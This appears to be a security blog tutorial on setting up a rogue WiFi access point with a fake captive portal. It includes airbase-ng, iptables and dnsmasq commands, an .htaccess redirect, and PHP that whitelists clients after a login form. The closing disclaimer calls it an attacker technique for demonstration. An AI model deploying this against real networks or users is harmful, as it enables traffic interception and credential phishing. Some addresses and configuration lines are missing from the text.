in websec

How to set up a Wifi captive portal


The objective of this Wifi captive portal is to mimic the behaviour of a legitimate access point protected by a portal login page for demonstrational purposes. That includes the following:

  • Broadcast a rogue access point
  • Mimic captive portal behaviour:
    • User gets to see a login page when trying to connect;
    • After logging in, the user can continue to access the network and surf freely.


The following tools and hardware were used to set up this proof of concept.

  • airmon-ng
  • airbase-ng
  • dnsmasq
  • iptables
  • apache2 web server
  • USB-connected Wifi antenna

How it’s done

The portal backend

First, we set up the web server to be able to serve a login page when a user is trying to access any non-existing page.

  1. Configure the .htaccess file in the root of the server to contain the following
    RewriteEngine On
    RewriteCond %{REQUEST_FILENAME} !-f 
    RewriteRule .? http://myportal/login.php [L,QSA]

    The second line tells the server to only redirect when the requested file does not exist. The third line will be dynamically replaced to whitelist IP addresses to make sure no redirect will be triggered after entering credentials a first time. Make the .htaccess file writeable: chmod 755 /var/www/.htaccess.

  2. We need a file called login.php that can be reached on http://myportal/login.php. Note that myportal will resolve to localhost (see below). It should contain something like the following code:
    if(!empty($_POST)) {
      $htaccess = file_get_contents("file:///var/www/.htaccess");
      $escIP = str_replace(".","\.",$_SERVER['REMOTE_ADDR']);
      $htnew = str_replace("#INSERT#", "#INSERT#\nRewriteCond %{REMOTE_ADDR} !^$escIP$", $htaccess);
      file_put_contents("file:///var/www/.htaccess", $htnew);
    <form action="" method="post">
      Username: <input type="text" /><br />
      <input type="submit" value="Log in!" />

    Pay close attention to what happens with the .htaccess file. The rule RewriteCond %{REMOTE_ADDR} !^10\.0\.0\.40$ gets added when the user with (local) IP address submits the form on the page. That means the redirect rule will no longer apply to his requests from then on.

The Wifi network

Now we set up the Wifi network and make sure every user connecting for the first time is redirected to the captive portal login page we just set up.

  1. Connect the Wifi antenna to the system and make sure the card is recognized. The name will likely be wlan0 or wlan1. In this guide, we will assume the antenna is known as wlan1 and the system is connected to the internet through the eth0 interface.
  2. Make sure your system allows ipv4 forwarding by uncommenting the line #net.ipv4.ip_forward in /etc/sysctl.conf.
  3. Use the following commands to configure your ip forwarding. This will remove all existing rules and reroute all traffic on theat0 interface (which will be set up in the next step) to the existing internet connection on interface eth0

    iptables -F
    iptables -t nat -F
    iptables -t nat -A POSTROUTING --out-interface eth0 -j MASQUERADE
    iptables -A FORWARD --in-interface at0 -j ACCEPT
  4. Now we can start broadcasting our network:
    airmon-ng start wlan0
    airbase-ng -e "YOURNETWORKNAME" -c 11 -v mon0
  5. Assign an IP-address to the new at0 interface and make sure it’s up and running
    ifconfig at0 netmask up
  6. Now all that’s left to do, is capture all dns queries and answer them with a crafted IP address where needed. For that purpose, we use the tool dnsmasq with the following configuration (saved in configuration file /etc/dnsmasq.conf):
    # use Google's DNS servers to route dns requests to if we don't handle them  
    # allows the use of "myportal" instead of "localhost" or "". Could also be configured in /etc/hosts
    # make sure some standard DNS-requests are redirected to our localhost.

    And spin up dnsmasq with the command dnsmasq -C /etc/dnsmasq.conf.
    The list of addresses are domains that are commonly used by iOS and Android to test if a Wifi network is working as expected. More precisely, the OS will quietly try to contact one of the listed domains with a (seemingly) randomized URL, and wait for a reply. In the case of iOS, if the repy is “success”, the system assumes the Wifi network is open, and it will allow the user to continue. When the user is redirected (HTTP status code 302) instead, the system assumes a captive portal is in place, and will prompt the the user to log in, showing the page the earlier request was redirected to.

    Because of our configuration in .htaccess on the local webserver, that is exactly what a request will do. For example, iOS will try to contact a randomized location on “”, the DNS query will resolve to “” thanks to the dnsmasq configuration above, Apache will look up, notice it doesn’t exist and initiate a redirect (302) to http://myportal/login.php

In action

The image below is an anonymized screenshot of a working WiFi captive portal on iPhone.

Captive portal in action

DisclaimerThis post describes how an attacker can set up a fake Wifi network and prompt a login screen on the user’s device when a victim tries to connect. The captive portal that shows the login screen was tested on iOS and Android devices, with reasonably stable results. This guide is for educational purposes, and should not be used without explicit approval.

Write a Comment